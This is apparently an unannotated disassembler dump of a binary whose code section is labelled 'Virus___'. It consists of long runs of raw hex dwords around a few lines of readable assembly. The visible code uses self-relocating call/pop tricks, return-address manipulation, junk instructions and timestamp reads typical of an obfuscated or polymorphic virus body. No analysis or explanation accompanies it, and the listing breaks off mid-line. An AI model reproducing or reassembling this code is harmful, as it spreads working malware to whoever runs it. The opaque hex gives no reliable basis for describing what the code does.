71E979Ch, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 7EC35040h, 0C9F1C2A2h, 11A19589h dd 4B7071Bh, 0D780D1FFh, 0C99D8967h, 83071B16h, 1B2105BDh dd 850F0107h, 64h, 6ADE8B66h, 55006A02h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 9D896D40h dd 71B0A39h, 50FA8B90h, 90DF8B66h, 4800Fh, 0BF660000h dd 95FFD48Ah, 71B09DDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0DAC35141h, 9D8B79C2h, 71B1795h, 0CC9E9h dd 0E800h, 815D0000h, 1FCB04EDh, 68C0F07h, 81000000h, 2C6B93C3h dd 8AB2BB49h, 858D5202h, 71E9202h, 2F21BD2Bh, 8B90071Bh dd 0E85350D9h, 6, 0D7C5EBF4h, 6160CBBCh, 81905B5Bh, 461649F3h dd 0FF64FC13h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0DF816636h, 89643BC4h dd 25h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 44BC02A2h, 8BA78BD8h, 1B26DD9Dh dd 14E907h, 3FA60000h, 4696EE60h, 506A61BDh, 6F4515ADh dd 0F6286D44h, 85FF43A3h, 71B264Dh, 11E9h, 3DE10400h, 6C86EE90h dd 0C7F4BDEBh, 0AC6320FBh, 0FF6AA719h, 0B5FFD88Bh, 71B0A0Dh dd 0DE8h, 0D4AF0D00h, 0BF0D4845h, 0E8BD775Fh, 9D8B2390h dd 71B3129h, 4595FF5Bh, 0E9071B2Fh, 116h, 23118D89h, 0B0071Bh dd 0AF7563BFh, 0E970E624h, 0Ah, 18CDD10Ah, 6BD79AD0h, 71E4BEE8h dd 7E9h, 0DCC8C500h, 0FEAFB719h, 8B665056h, 3C5F5FF8h dd 0DB830F61h, 0F000000h, 0B60FFEBFh, 0C1BD8BC8h, 0BA071B00h dd 6, 0DB59501h, 0C18B071Bh, 98E0BB66h, 0F904E8C1h, 56E2F766h dd 10E9h, 0C8D1DF00h, 50369DA8h, 89B17D99h, 0FC86FE46h dd 0C82B5B73h, 7E9h, 0A1622F00h, 6287048Ah, 6870Fh, 85890000h dd 71B23B1h, 7FE9D18Bh, 0F000000h, 388h, 0D88B6600h, 4858Bh dd 23BB0000h, 83101CE9h, 9D8907C0h, 71B1A99h, 5200C083h dd 541BD89h, 805F071Bh, 0D03BC9EFh, 9830Fh, 8B660000h dd 44E9FBh, 8BF80000h, 0FFFFFF8Dh, 0DF8166FFh, 0E18395AFh dd 2F840F01h, 8B000000h, 1B00ED9Dh, 0FFA58307h, 0FEFFFFFFh dd 9E8h, 0BBD0DF00h, 1B9F04E2h, 0FA8B40F1h, 495895Bh, 29000000h dd 1B325995h, 0E907h, 0B58D0000h, 71F4A72h, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0CC41F3C3h, 3E63AA4Ah, 8BF2B9D3h, 8995FFDEh, 89071B12h dd 1B26359Dh, 1161B907h, 810F0000h, 0Ch, 68A0Fh, 0BD8B0000h dd 71B1775h, 23FCE183h, 1B12FDBDh, 0B8FC07h, 1000000h dd 1B18799Dh, 6AD22B07h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0EFE1C355h, 0C233AD51h dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 5132FAD0h dd 6639585Bh, 15125BBh, 1B048D8Dh, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 931E142Dh dd 2D6632E1h, 880DC569h, 89000000h, 1B11B1BDh, 0B5958B07h dd 80071B29h, 8D8B6CC7h, 71B02F5h, 4A1BD89h, 8B50071Bh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 11E9h, 6B9F1400h dd 0A834A2F0h, 44C58649h, 956F7C83h, 12E851D0h, 0C3000000h dd 298AC43Ch, 46696C2Ch, 6AC5845Eh, 0A191715Ch, 835BF95Fh dd 1B2165BDh, 840F0007h, 53h, 0B8h, 898D8D00h, 89071B4Fh dd 1B0D91B5h, 6AE1FF07h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 0C759C356h, 9D8B9C46h dd 71B352Dh, 10E96057h, 0BC000000h, 6C09598Fh, 295C8234h dd 0A9DE07FEh, 571E7549h, 835B615Ah, 1B18CDBDh, 840F0007h dd 489h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 2BC35040h, 0A1182450h, 0C3F95BA0h, 0D943E781h dd 0CF81041Ah, 0FF29CB9h, 45CDBF52h, 835B2397h, 1B18CDBDh dd 840F0107h, 460h, 6840Fh, 0BD890000h, 71B0885h, 18CDBD83h dd 0F03071Bh, 41186h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 50F8F9CEh, 998D8960h dd 0F8071B33h, 95315B61h, 71B3085h, 51006A60h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 6840FAAh, 33000000h dd 1B16ED9Dh, 0BD316007h, 71B24B9h, 610DF580h, 66FE8B66h dd 8B57D98Ch, 1B335DBDh, 0E1805F07h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FC8CB8ABh dd 840FC90Ah, 0EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 68C35242h, 8BDF8BE3h, 1B30E585h, 8533F507h dd 71B3055h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 49C35242h, 0AE67C4F7h, 0E8D98AD4h, 6ACB81ECh, 90697105h dd 5B515250h, 0BB66310Fh, 585A2824h, 905F5050h, 0BD8B006Ah dd 71B26FDh, 0C79DAC68h, 605250ECh, 0F616160h, 7E931h dd 0BA100000h, 6CEDA99Ah, 81585A98h, 66532404h, 0DA8B1357h dd 4E995FFh, 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 9CFB63C3h, 896CA93Bh, 1EABC885h dd 29E9FC07h, 6A000002h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0B36CC350h, 0E9C9825Bh dd 8BCE18EBh, 1EABC085h, 35BD3307h, 0C7071B30h, 1800h dd 0C9852900h, 8B071B12h, 1EABC4B5h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 4DA06374h, 810F6040h, 5, 629B1DBAh, 9D2B6126h, 71B2F11h dd 149858Bh, 870F071Bh, 3, 89D88B66h, 16DF8106h, 8B026AABh dd 1B30E585h, 0BD8B5007h, 71B32B5h, 446895Fh, 609661B3h dd 0EE9BBE66h, 5061C88Ah, 50525060h, 5A310F52h, 0B6310F58h dd 50585AFFh, 0FFB8B52h, 61585A31h, 99B58996h, 0FF071B27h dd 1EABC0B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 0C14D5359h, 9D8B9637h, 71B2F9Dh dd 14E8h, 48B13A00h, 7DE47179h, 0BB87C32Eh, 0C0868A5Bh dd 0D11EA202h, 68D0FF9h, 0F000000h, 85h, 4E85F00h, 0FF000000h dd 53001F03h, 3860Fh, 8B660000h, 60505FDEh, 91B05250h dd 0BF66310Fh, 585A06D4h, 0CF8B6650h, 448B615Ah, 0F6B30424h dd 0EE8008Bh, 54000000h, 77FDA53Dh, 4E005C4Bh, 2F018F74h dd 30BF52ABh, 5B24BD4Ah, 2444895Fh, 0FB8B6604h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 66B14483h, 0D69DEB81h, 0ABC8858Dh, 6A071Eh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 6FDC56C3h, 14E975h, 0FF1F0000h, 38574F29h, 3B5112A6h dd 0BC50F30Ch, 5AD161B2h, 8950E206h, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 3F3AD5C3h dd 0BF6695D4h, 95FFE0DCh, 71B04E9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 4FC35242h, 0ED646B53h, 4B1FCB39h dd 6480BF44h, 0FE8B6008h, 2850F61h, 8B000000h, 0CD85C7D8h dd 3071B18h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 835BC357h, 1EABC8BDh dd 840F0007h, 4Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 89C35646h, 991FE9E5h, 3EE9B0D2h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 9B78C351h, 0E81CDB3Eh, 3050FE8Bh, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 4B03A0F9h, 26CAFA38h, 659D316Eh, 66071B26h, 0FD701BFh dd 0BD83D8B7h, 71B18CDh, 0D8850F03h, 29000003h, 1B183985h dd 0C8BD8307h, 71EABh, 3C5840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 3BBDB0C3h dd 0C8B5FFA8h, 6A071EABh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 1AB3C356h, 95FFD519h dd 71B09A5h, 29C9BD31h, 0B58B071Bh, 71EABBCh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0ECC35747h, 0B9B0B931h dd 7DEC0E61h, 41B589F9h, 0C7071B30h, 1000106h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 7DBD8B23h, 96071B1Ch, 6BF2EEBFh, 0E9965077h, 0Eh, 77BBE307h dd 9412FB49h, 407C46A7h, 0B5FFE216h, 71EABC8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8DC35545h, 9E32C99Dh dd 33DAB277h, 1B2E459Dh, 6195FF07h, 6A071B35h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0AC81C355h, 39CA8F57h, 0BCB58B6Ah, 6A071EABh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 3498C357h, 807FD7CEh, 1A8F279Ah, 411858Bh, 0DF8B071Bh dd 89DEB70Fh, 0C486h, 0F7816600h, 958B7023h, 71B29B5h dd 4519D8Bh, 0C283071Bh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0D3427254h, 4A8AC75Dh dd 0DABF0F98h, 8D205089h, 1EBFF985h, 0B8868907h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0E5E0C353h, 27A1C94Ah, 9795741Ch, 6A006AF5h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 4496C350h, 8BBD939Ah, 1B1F19BDh, 0C8B5FF07h dd 6A071EABh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 8318C356h, 0FB1AAF0h, 68Ch, 5BD8B00h dd 0FF071B2Ah, 1B09DD95h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD8BF003h dd 71B3119h, 48E0F96h, 52000000h, 505B5F50h, 5E8h, 5C193300h dd 965FD84Eh, 14458D89h, 0B5FF071Bh, 71EABC8h, 95FFFA8Bh dd 71B0341h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 33C35343h, 85291163h, 71B2D1Dh, 2431BD83h, 0F00071Bh dd 3384h, 0BDB58900h, 50071B32h, 0FDF8B60h, 88h, 34896100h dd 13E824h, 98290000h, 8B9F74DEh, 0A42CA1ACh, 45100337h dd 506FD1BCh, 558D8978h, 5B071B29h, 0ABC8B5FFh, 6A071Eh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0FF18E2C3h, 1B18A595h, 0FEB70F07h, 0ABC8B5FFh, 0EE9071Eh dd 91000000h, 41D5A739h, 0EED12D5Eh, 4C24B435h, 3D95FF8Dh dd 80071B29h, 0BD8341E3h, 71B28F1h, 64840F02h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0ECA4C351h, 7910C7D3h, 7D858BFCh, 6A071B00h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 3709C352h, 0D064B0CEh, 0C6F6h, 0CE9h, 542EB400h dd 81213D38h, 0FFC5831Bh, 45BD8B7Fh, 0C7071B24h, 1B099185h dd 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 29BD039Ah, 0E9071B00h, 0FFFFF42Eh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 10C35242h dd 66FEEB17h, 0C18BFA8Bh, 858D71B7h, 71B1255h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 2C35343h, 66509DB8h dd 8957B9BBh, 9D2B2404h, 71B2545h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B5F23C3h dd 562C8B1Fh, 0AB3C49Dh, 8166006Ah, 12A1AD7h, 1B2CE99Dh dd 4F858D07h, 0B7071FD9h, 5C083AFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 79C35040h, 0BD8B4187h, 71B0CD1h dd 89F88B50h, 9D012404h, 71B08E5h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 726641C3h dd 8C57034Ch, 0F56DB199h, 0BB66006Ah, 95FFCD67h, 71B1EA9h dd 31DBD0Bh, 8D8D071Bh, 71E979Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 9EC35242h, 0B58997B9h, 71B23C1h dd 0E9F9D1FFh, 0Bh, 0FCC79F60h, 7203B922h, 83A4C207h, 1B2105BDh dd 850F0107h, 61h, 8F0Fh, 26A0000h, 1F820F90h, 60000000h dd 0E3FBA2B9h, 13E92Ah, 0E5C70000h, 57FA8F07h, 8A58763Dh dd 660EFB65h, 3029331h, 665061EDh, 6A90D88Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0FBF9C355h, 0F780B562h, 0DD95FFDEh, 81071B09h, 0C2E59DDFh dd 0D57E925h, 0E80000h, 5D000000h, 0D959ED81h, 6A071Fh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0CB986CC3h, 9C9654CCh, 8B54A104h, 1B2EA19Dh, 75BD8B07h dd 50071B31h, 318D9D8Bh, 8D5B071Bh, 1E920285h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 5681E2E6h, 0F50EA58h, 285h, 89FE8A00h, 9D8B2404h, 71B1739h dd 35FF64h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 1529C352h, 23AD9D8Bh dd 8964071Bh, 25h, 85FFFC00h, 71B264Dh, 28E59D8Bh, 0FF6A071Bh dd 9C7ECB81h, 830F5A84h, 6, 1E91BD8Bh, 0B5FF071Bh, 71B09EDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A8C35141h dd 0C73BC27Ch, 8BE0BF48h, 1B1AF59Dh, 4595FF07h, 0E9071B2Fh dd 117h, 14E9h, 62982D00h, 18C6BA64h, 6F437DA3h, 124EB6D2h dd 85998849h, 3100B044h, 1B32E98Dh, 0E470E607h, 54F0BB71h dd 613C0A34h, 0E5830Fh, 0B5890000h, 71B0CD1h, 1FFDBD89h dd 0B60F071Bh, 89F98BC8h, 1B187995h, 6BA07h, 0AE90000h dd 62000000h, 7BF6F05Fh, 9AD391F3h, 0E8C18BE8h, 8, 586F69B7h dd 0A92DA69Dh, 4E8C15Fh, 12598589h, 5E9071Bh, 58000000h dd 87EE53A4h, 89E2F766h, 1B2A518Dh, 31C82B07h, 1B28D59Dh dd 0FD18B07h, 38Bh, 53F38000h, 76E9h, 44858B00h, 605F4C4Ch dd 82805FB8h, 4D858B4Fh, 61071B00h, 8D0Fh, 0C0830000h dd 0EAB4BB07h, 0C08320DEh, 1DBD8900h, 3B071B21h, 11830FD0h dd 8B000000h, 1B2CE5BDh, 39E907h, 840F0000h, 0 ; --------------------------------------------------------------------------- mov ecx, [ebp-1] mov ebx, 4C07213Fh mov bx, 17ABh and ecx, 1 jz loc_588CDF stc and dword ptr [ebp-1], 0FFFFFFFEh mov bl, 6Eh mov [ebp+5F4C4C44h], edx mov ebx, [ebp+71B21ADh] jmp $+5 loc_588CDF: ; CODE XREF: Virus___:00588CBEj lea esi, [ebp+71F5BD3h] push 0 push ebp call sub_588CF0 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_588CF0 proc near ; CODE XREF: Virus___:00588CE8p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_588CF0 endp ; --------------------------------------------------------------------------- dd 6AF88B2Bh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0C13B34F3h, 8995FF15h, 66071B12h dd 0BBBD19BFh, 784962AEh, 0EB8B9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 682E4024h dd 0FAAA518h, 0E183FBBFh, 319501FCh, 0FC071B2Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7BC35545h, 0EAC245B6h dd 91B58982h, 2B071B16h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0B278920Eh, 15A99D29h dd 0D22B071Bh, 0C233ADF8h, 0D003E8D1h, 7504E983h, 519D8BF4h dd 6A071B27h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 456DC355h, 880D2377h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0F847C350h, 0C174B843h, 0FA300698h, 4830Fh dd 0BF660000h, 81661541h, 0F3EF3E3h, 958BF8B7h, 71B29B5h dd 84F1D3BBh, 0D5B58973h, 8B071B1Eh, 1B02F58Dh, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0B45B6D49h, 7DBC91F2h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 880F5818h, 5, 75DB8166h, 0EE9602Ch, 11000000h dd 0A7EE33BFh, 1B5E87B0h, 0DC7FC3A6h, 0C5D681A6h, 61213A30h dd 4018529h, 0BD83071Bh, 71B2165h, 0B2840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 2CB0C357h, 12E985h, 5EB80000h, 719E64C6h dd 8D9EA03h, 8DDE43F6h, 884117B6h, 0B8h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0B67C5C87h, 0B958040h, 59B5895Dh, 8D071B17h, 1B4F898Dh dd 0F7816607h, 0C7812903h, 4C5B408h, 6AE1FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0CCE76BC3h dd 50258030h, 12E9771Eh, 0ED000000h, 0E9CFDD88h, 2903DE61h dd 489A33ABh, 0B964B798h, 0CDBD83ADh, 71B18h, 46D840Fh dd 13E90000h, 3D000000h, 0EB5558F7h, 4532C604h, 0B535C986h dd 1D3E859Bh, 0BD8367ABh, 71B18CDh, 63840F01h, 6A000004h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0F3C2C350h, 0EB81664Eh, 0BD83D342h, 71B18CDh dd 0FD860F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 6637C353h, 6C99EF81h dd 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 6645E053h, 8C66D98Bh, 14860FD9h, 0E8000000h dd 0Dh, 0D935C571h, 28C85101h, 211BEF4Bh, 805BF5F7h, 0AE904E1h dd 0C3000000h, 64D7BDF4h, 70C4F2D9h, 0FC90A33h, 10A84h dd 2840F00h, 8A000000h, 0E5858BD8h, 0B3071B30h, 558533C9h dd 8B071B30h, 1B29E5BDh, 0CE85007h, 0BD000000h, 0FAE3B8A8h dd 1DD30243h, 5B50BB6Eh, 8B240489h, 1B3259BDh, 6A006A07h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 689EC356h, 0BB63BDA8h, 0BAD96F7h, 18A0Fh dd 31F90000h, 1B2259B5h, 4E807h, 3FF0000h, 8B66001Fh, 10E850F9h dd 68000000h, 0FC6B2B7Fh, 649F4766h, 0A759DE1h, 5B0B0541h dd 424448Bh, 8B95B7h, 3800Fh, 8B660000h, 244489D9h, 6A5804h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 69CB23C3h, 3714A43Bh, 4E995FFh, 0BD8B071Bh, 71B17F9h dd 0ABC88589h, 6A071Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0F48F21C3h, 0FAE1E69h, 58Eh, 3A58BB00h dd 0F3E91826h, 8B000001h, 1EABC085h, 6860F07h, 89000000h dd 1B188D9Dh, 1800C707h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F8BC355h dd 0F60DEB7h, 8B0FFABFh, 3, 61D8B70Fh, 0ABC4B58Bh, 6A071Eh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 5A5CE5C3h, 850F1123h, 7, 5BF9BF51h, 0BF5B0BE8h, 52C96634h dd 8BD98B66h, 1B014985h, 0C1BD8B07h, 89071B08h, 68C0F06h dd 89000000h, 1B185985h, 0E5858B07h, 6A071B30h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 6D04C357h, 0E95620E8h, 0E1FDBBAAh, 12E8181Ch, 1F000000h dd 9D52C21Dh, 0A31798A8h, 396DE772h, 887CCE4Bh, 69DB8172h dd 5B760DA6h, 56044689h, 965B5F51h, 52505250h, 310F5B57h dd 585AFA8Bh, 8D0F310Fh, 3, 5ADE8B66h, 0FE8B5058h, 56006A96h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 47CB0113h, 6919466Ah, 2810F09h, 8A000000h, 0C0B5FFFAh dd 6A071EABh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0E54AC352h, 3CFCBB66h, 1B1D9D8Bh dd 4E8071Bh, 0FF000000h, 50001F03h, 424448Bh, 8BFE8B66h dd 58B0F00h, 0BF000000h, 37DA8959h, 4244489h, 0FB8B5360h dd 0CF8A6058h, 6161FC8Ah, 95BD8B58h, 8D071B04h, 1EABC885h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 800FBFFFh, 3, 60D98B66h, 0FD8D2960h, 80071B09h dd 8961C5CDh, 1B2E4595h, 66506107h, 89DB39BBh, 85892404h dd 71B2A5Dh, 4E995FFh, 2357071Bh, 1B18059Dh, 52615F07h dd 28D5BD33h, 0C75F071Bh, 1B18CD85h, 307h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0D88B6CCDh, 0ABC8BD83h, 0F00071Eh, 4784h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 8C94617Fh, 3DE904h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 26F904C3h, 21208993h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h dd 66C4BCBFh, 0BD83D98Bh, 71B18CDh, 0DA850F03h, 6A000003h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0E6FFC350h, 8CEFE606h, 0F040411h, 0BD83FABFh dd 71EABC8h, 0A6840F00h, 81000003h, 3E6A42D7h, 9D9D292Bh dd 0FF071B21h, 1EABC8B5h, 0A595FF07h, 9071B09h, 1B149185h dd 0BCB58B07h, 0B071EABh, 1B3501BDh, 106C707h, 6A000100h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0CC64C350h, 0F60579Fh, 9E9D0BFh, 0B9000000h dd 0A510A3FDh, 1641DD92h, 81665F61h, 963BDACBh, 5FF88B52h dd 14E99650h, 0E000000h, 79EDA472h, 9B23846Ch, 0A435DE3Bh dd 2C3B319Eh, 0FF253766h, 1EABC8B5h, 6195FF07h, 6A071B35h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0CEBAC350h, 2B7B39BDh, 1B1475BDh, 0BCB58B07h dd 6A071EABh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 6DFAC355h, 0E226968Eh, 9D8BAD41h dd 71B30B5h, 411858Bh, 6A071Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 79FA11C3h, 0C48689h dd 0E9570000h, 13h, 0F9464AC0h, 0D1A3FC0h, 8A07EA89h, 73E43F8Ah dd 5F09705Ah, 13D38166h, 0B5958B3Eh, 8B071B29h, 4C283DFh dd 5231A7BBh, 2050896Bh, 2C51B589h, 858D071Bh, 71EBFF9h dd 8E9h, 0C5B89A00h, 1B644986h, 0B8868904h, 0E9000000h dd 6, 0EADD4553h, 6AFF13h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 49C35343h, 66932F39h, 0BC7AEB81h, 0F1BD2950h dd 5F071B11h, 0B6D8D89h, 0B5FF071Bh, 71EABC8h, 0FFF9B70Fh dd 1B09DD95h, 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 540FB874h, 50D0AE2Bh, 28898531h dd 8E9071Bh, 5F000000h, 5D1B0B2Bh, 9692ED1Fh, 310F5250h dd 0FE8h, 69451700h, 0D2B02CEDh, 0E3EC9401h, 2D4CC4CEh dd 310F5250h, 5A5B585Ah, 8C0F5058h, 4, 5E8CBB66h, 57006A96h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0B5FFEC37h, 71EABC8h, 0FFDABF0Fh, 1B034195h, 68F0F07h dd 8B000000h, 1B34719Dh, 0FEB70F07h, 2431BD83h, 0F00071Bh dd 3F84h, 859D3300h, 96071B27h, 0B750C6B7h, 6A96C5h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0C38139C3h, 799D8B80h, 60071B1Ah, 18D18D09h, 84BB071Bh dd 612AD4F6h, 0ABC8B5FFh, 0BD8B071Eh, 71B314Dh, 18A595FFh dd 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 79D693C3h, 54184187h, 13830FF2h, 0E9000000h dd 0Eh, 11FC6C31h, 4B6757D4h, 79AA48ECh, 0B5FF3E23h, 71EABC8h dd 21A7BFFCh, 95FF635Fh, 71B293Dh, 83DA8B66h, 1B28F1BDh dd 840F0207h, 69h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 9CC35141h, 8BDA8BE1h, 1B007D85h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 1236CF04h, 9BC7D401h, 1181BF8Fh, 95314151h, 71B2D8Dh dd 0E90000C6h, 0Dh, 0DF948A91h, 5F0A5340h, 866D22E8h, 9185C721h dd 71B09h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 8570C353h, 896F8325h, 1B232DBDh dd 0F378E907h, 0C18BFFFFh, 1823F7BFh, 7E909h, 289D0000h dd 0B33F6F46h, 55858D3Ch, 6A071B12h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 280EC352h dd 0DCD65C81h, 6650A2EFh, 489D88Bh, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 5DF7FBCh, 68672E19h dd 9501C60Bh, 71B0451h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 95EB64C3h, 46C781C4h dd 6A30F9F9h, 6E900h, 0ABF40000h, 